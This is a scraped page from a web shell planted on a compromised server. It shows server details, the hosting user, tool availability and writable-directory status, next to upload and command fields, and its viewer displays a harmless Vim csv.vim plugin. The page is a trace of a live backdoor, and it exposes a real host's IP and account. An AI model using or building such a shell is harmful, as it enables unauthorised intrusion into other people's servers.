403Webshell
Server IP : 217.160.0.36  /  Your IP : 216.73.216.190
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u90690018 ( 2806576)
PHP Version : 8.4.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/share/vim/vim91/ftplugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/share/vim/vim91/ftplugin/csv.vim
vim9script

# Maintainer: Maxim Kim <habamax@gmail.com>
# Last Update: 2024-06-18

if !exists("b:csv_delimiter")
    # detect delimiter
    var delimiters = ",;\t|"

    var max = 0
    for d in delimiters
        var count = getline(1)->split(d)->len() + getline(2)->split(d)->len()
        if count > max
            max = count
            b:csv_delimiter = d
        endif
    endfor
endif

if exists("b:did_ftplugin")
    finish
endif
b:did_ftplugin = 1

Youez - 2016 - github.com/yon3zu
LinuXploit